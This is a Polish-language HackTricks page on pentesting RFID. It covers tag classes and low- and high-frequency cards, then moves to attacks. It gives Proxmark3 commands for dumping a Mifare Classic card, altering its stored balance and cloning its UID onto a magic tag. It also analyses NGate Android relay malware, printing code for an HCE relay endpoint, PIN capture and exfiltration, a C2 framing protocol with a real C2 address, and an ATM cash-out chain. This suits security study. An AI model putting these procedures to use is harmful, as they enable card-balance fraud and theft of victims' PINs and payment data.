Pentesting RFID

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wprowadzenie

Identyfikacja radiowa (RFID) jest najpopularniejszym rozwiązaniem radiowym krótkiego zasięgu. Zwykle służy do przechowywania i przesyłania informacji identyfikujących pewien podmiot.

Tag RFID może polegać na własnym źródle zasilania (active), takim jak wbudowana bateria, albo pobierać zasilanie z anteny odczytującej wykorzystując prąd indukowany z otrzymanych fal radiowych (passive).

Klasy

EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go wstecznie kompatybilnym.

  • Class 0 tags są passive tagami działającymi w pasmach UHF. Producent preprogramuje je w fabryce. W efekcie nie możesz zmieniać informacji zapisanych w ich pamięci.
  • Class 1 tags mogą również działać w pasmach HF. Dodatkowo mogą być zapisane tylko raz po produkcji. Wiele Class 1 tags potrafi też przetwarzać cyclic redundancy checks (CRCs) otrzymywanych poleceń. CRC to kilka dodatkowych bajtów na końcu poleceń do wykrywania błędów.
  • Class 2 tags można zapisywać wielokrotnie.
  • Class 3 tags mogą zawierać wbudowane sensory rejestrujące parametry środowiskowe, takie jak aktualna temperatura czy ruch taga. Te tagi są semi-passive, ponieważ choć mają wbudowane źródło zasilania, takie jak zintegrowana bateria, nie mogą inicjować komunikacji bezprzewodowej z innymi tagami lub czytnikami.
  • Class 4 tags mogą inicjować komunikację z innymi tagami tej samej klasy, co czyni je active tags.
  • Class 5 tags mogą dostarczać zasilanie innym tagom i komunikować się ze wszystkimi poprzednimi klasami. Class 5 tags mogą działać jako RFID readers.

Informacje przechowywane w tagach RFID

Pamięć taga RFID zwykle przechowuje cztery rodzaje danych: identification data, które identyfikują podmiot, do którego tag jest przypięty (te dane zawierają pola definiowane przez użytkownika, np. konta bankowe); supplementary data, które dostarczają dodatkowych szczegółów dotyczących podmiotu; control data, używane do wewnętrznej konfiguracji taga; oraz manufacturer data taga, które zawierają unikalny identyfikator taga (UID) oraz szczegóły dotyczące produkcji, typuz i vendor. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; ostatnie dwa mogą się różnić w zależności od producenta taga.

Standard ISO określa wartość Application Family Identifier (AFI), kod wskazujący rodzaj obiektu, do którego należy tag. Innym ważnym rejestrem, również określonym przez ISO, jest Data Storage Format Identifier (DSFID), który definiuje logiczny układ danych użytkownika.

Większość mechanizmów security controls dla RFID ma mechanizmy, które ograniczają operacje read lub write na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te lock mechanisms używają danych przechowywanych w pamięci kontrolnej i mają domyślne hasła wstępnie skonfigurowane przez producenta, ale pozwalają właścicielom tagów na konfigurację własnych haseł.

Porównanie tagów niskiej i wysokiej częstotliwości

Tagi RFID niskiej częstotliwości (125kHz)

Tagi niskiej częstotliwości są często używane w systemach, które nie wymagają wysokiego poziomu bezpieczeństwa: dostęp do budynków, domofony, karty członkostwa do siłowni itp. Ze względu na większy zasięg są wygodne do użycia na płatnych parkingach: kierowca nie musi przybliżać karty blisko czytnika, ponieważ jest ona odczytywana z większej odległości. Jednocześnie tagi niskiej częstotliwości są bardzo prymitywne i mają niską prędkość transferu danych. Z tego powodu niemożliwe jest zaimplementowanie złożonego dwukierunkowego transferu danych dla takich funkcji jak przechowywanie salda czy kryptografia. Tagi niskiej częstotliwości transmitują jedynie swój krótki ID bez żadnych mechanizmów uwierzytelniających.

Te urządzenia opierają się na passive technologii RFID i działają w zakresie 30 kHz do 300 kHz, chociaż częściej używa się 125 kHz do 134 kHz:

  • Długi zasięg — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do około metra. Są one często używane na parkingach.
  • Prymitywny protokół — z powodu niskiej prędkości transferu danych te tagi mogą przesyłać tylko krótki ID. W większości przypadków dane nie są uwierzytelnione i nie są w żaden sposób chronione. Gdy karta znajdzie się w zasięgu czytnika, po prostu zaczyna nadawać swój ID.
  • Niskie bezpieczeństwo — te karty można łatwo skopiować, a nawet odczytać z czyjejś kieszeni z powodu prymitywności protokołu.

Popularne protokoły 125 kHz:

  • EM-Marin — EM4100, EM4102. Najpopularniejszy protokół na obszarze CIS. Można go odczytać z około metra ze względu na prostotę i stabilność.
  • HID Prox II — protokół niskiej częstotliwości wprowadzony przez HID Global. Ten protokół jest bardziej popularny w krajach zachodnich. Jest bardziej złożony, a karty i czytniki dla tego protokołu są stosunkowo drogie.
  • Indala — bardzo stary protokół niskiej częstotliwości wprowadzony przez Motorola, a później przejęty przez HID. Mniej prawdopodobne, że napotkasz go w praktyce w porównaniu z dwoma poprzednimi, ponieważ wychodzi z użycia.

W praktyce istnieje dużo więcej protokołów niskiej częstotliwości. Wszystkie jednak używają tej samej modulacji na warstwie fizycznej i można je w pewnym sensie uznać za wariacje wymienionych powyżej.

Atak

Możesz atakować te tagi za pomocą Flipper Zero:

FZ - 125kHz RFID

Tagi RFID wysokiej częstotliwości (13.56 MHz)

Tagi wysokiej częstotliwości są używane do bardziej złożonej interakcji czytnik–tag, gdy potrzebna jest kryptografia, duży dwukierunkowy transfer danych, uwierzytelnianie itp.
Zwykle występują w kartach bankowych, transitowych i innych bezpiecznych przepustkach.

Tagi 13.56 MHz to zestaw standardów i protokołów. Często określa się je jako NFC, ale nie zawsze jest to poprawne. Podstawowy zestaw protokołów używany na poziomie fizycznym i logicznym to ISO 14443. Protokoły wysokiego poziomu, jak również alternatywne standardy (np. ISO 19092), opierają się na nim. Wielu ludzi odnosi się do tej technologii jako Near Field Communication (NFC) — terminu opisującego urządzenia działające na częstotliwości 13.56 MHz.

Mówiąc prosto, architektura NFC wygląda tak: protokół transmisji wybiera firma produkująca karty i implementuje go w oparciu o niskopoziomowy ISO 14443. Na przykład NXP wymyśliło własny protokół transmisji wysokiego poziomu zwany Mifare. Ale na niższym poziomie karty Mifare bazują na standardzie ISO 14443-A.

Flipper może współdziałać zarówno z niskopoziomowym protokołem ISO 14443, jak i z protokołem transferu danych Mifare Ultralight oraz EMV używanym w kartach bankowych. Pracujemy nad dodaniem wsparcia dla Mifare Classic i NFC NDEF. Dogłębna analiza protokołów i standardów składających się na NFC zasługuje na odrębny artykuł, który planujemy opublikować później.

Wszystkie karty wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jak numer seryjny karty, podobnie jak adres MAC karty sieciowej. Zwykle UID ma 4 lub 7 bajtów, ale rzadko może mieć aż do 10. UID nie są tajne i są łatwo czytelne, czasami nawet wydrukowane na samej karcie.

Wiele systemów kontroli dostępu opiera się na UID, aby uwierzytelniać i przyznawać dostęp. Czasami dzieje się to nawet kiedy tagi RFID obsługują kryptografię. Takie nadużycie obniża ich bezpieczeństwo do poziomu głupich 125 kHz kart. Wirtualne karty (np. Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie otwierali drzwi swoją aplikacją płatniczą.

  • Niski zasięg — karty wysokiej częstotliwości są zaprojektowane tak, by trzeba je było przyłożyć blisko czytnika. Pomaga to chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, i to przy użyciu czytników niestandardowych o dużym zasięgu.
  • Zaawansowane protokoły — prędkości transferu danych do 424 kbps pozwalają na złożone protokoły z pełnym dwukierunkowym transferem danych. Co z kolei umożliwia kryptografię, transfer danych itp.
  • Wysokie bezpieczeństwo — bezkontaktowe karty wysokiej częstotliwości nie ustępują inteligentnym kartom. Istnieją karty wspierające kryptograficznie silne algorytmy jak AES oraz implementujące kryptografię asymetryczną.

Atak

Możesz atakować te tagi za pomocą Flipper Zero:

FZ - NFC

Lub używając proxmark:

Proxmark 3

Mifare Classic — manipulacja offline stanem wartości przechowywanym na karcie (zepsute Crypto1)

Gdy system przechowuje saldo pieniężne bezpośrednio na karcie Mifare Classic, często można je zmanipulować, ponieważ Classic używa przestarzałego szyfru Crypto1 firmy NXP. Crypto1 został złamany już lata temu, co pozwala na odzyskanie kluczy sektorowych i pełny odczyt/zapis pamięci karty za pomocą standardowego sprzętu (np. Proxmark3).

End-to-end workflow (abstracted):

  1. Wykonać dump oryginalnej karty i odzyskać klucze
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

To zazwyczaj odzyskuje sector keys (A/B) i generuje pełny zrzut karty w client dumps folder.

  1. Zlokalizuj i zrozum value/integrity fields
  • Wykonaj legalne top-ups na oryginalnej karcie i wykonaj wiele dumps (before/after).
  • Zrób diff dwóch dumps, aby zidentyfikować zmieniające się bloki/bytes reprezentujące balance oraz wszelkie pola integralności.
  • Wiele Classic deployments albo używa natywnego “value block” encoding albo stosuje własne checksums (np. XOR of the balance with another field and a constant). Po zmianie balance, recompute integrity bytes odpowiednio i upewnij się, że wszystkie duplicated/complemented pola są spójne.
  1. Zapisz zmodyfikowany dump do zapisywalnego “Chinese magic” Classic tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Sklonuj oryginalny UID, aby terminale rozpoznały kartę
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Użycie przy terminalach

Czytniki, które ufają saldu zapisanemu na karcie i UID, zaakceptują zmanipulowaną kartę. Obserwacje z terenu pokazują, że wiele wdrożeń ogranicza salda w oparciu o szerokość pola (np. 16-bit fixed-point).

Notatki

  • Jeśli system używa natywnych Classic value blocks, pamiętaj o formacie: value (4B) + ~value (4B) + value (4B) + block address + ~address. Wszystkie części muszą się zgadzać.
  • Dla niestandardowych formatów ze prostymi sumami kontrolnymi, analiza różnicowa jest najszybszym sposobem na wydedukowanie funkcji integralności bez inżynierii wstecznej firmware’u.
  • Tylko tagi z możliwością zmiany UID (“Chinese magic” gen1a/gen2) pozwalają na zapis bloku 0/UID. Normalne Classic cards mają UID tylko do odczytu.

For hands-on Proxmark3 commands, see:

Proxmark 3

Budowa przenośnego klonera HID MaxiProx 125 kHz

If you need a long-range, battery-powered solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted HID MaxiProx 5375 reader into a self-contained cloner that fits in a backpack. The full mechanical and electrical walk-through is available here:

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Reader↔HCE Emitter

Classic EMV relay można zaimplementować za pomocą 2 urządzeń Android: czytnika po stronie ofiary, który przechwytuje live APDUs i PIN z rzeczywistej karty, oraz emitera HCE po stronie atakującego przy terminalu, który przekazuje APDUs dalej upstream. Analizowany zestaw NGate wykorzystuje legit Android NFC APIs oraz prosty framed TCP C2 do orkiestracji wypłat z bankomatów w czasie rzeczywistym.

Kluczowe elementy

  • Reader-mode app (victim): uses NFC reader APIs to parse EMV (PAN/expiry/AIDs), displays scheme by AID, asks for PIN and exfiltrates immediately.
  • Emitter-mode app (ATM side): implements Host Card Emulation (HCE) with android:requireDeviceUnlock="false" and a payment AID; processCommandApdu() forwards APDUs to C2 and returns minimal response.
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Przykład hce.xml (bez unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Przezroczysty relay endpoint (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Wnioskowanie schematu EMV na podstawie AID (przykłady)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Wzorzec przechwytywania PIN (UI ofiary)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext — przykład)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode inside payload)
  • Odrzucaj body > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Ukrywanie konfiguracji: cert-derived XOR

  • Biblioteka natywna wyprowadza 32-bajtowy klucz jako SHA‑256 certyfikatu podpisu aplikacji (DER).
  • Konfiguracja C2 znajduje się jako ASCII‑hex w assets (np. assets/____), jest hex-decoded i XOR-ed z kluczem powtarzającym się co 32 bajty:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

Offline PoC do decrypt config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Przykładowe odszyfrowane pola: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Relay chain (end-to-end)

  1. Ofiara instaluje APK, otwiera aplikację → native init odszyfrowuje config z assets.
  2. Aplikacja łączy się z C2 (np. 91.84.97.13:5653) używając framed TCP; keepalive ~7s.
  3. Ofiara przykłada kartę → reader wyodrębnia PAN/expiry/AIDs i wysyła CARD_DISCOVERED.
  4. Ofiara wpisuje PIN → keypad publikuje i exfiltruje przez PIN_REQ; serwer odpowiada VALID/INVALID tylko dla UI.
  5. Urządzenie atakującego przy terminalu uruchamia HCE emitter przekazujący APDUs do ATM i wykonuje cash-out.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks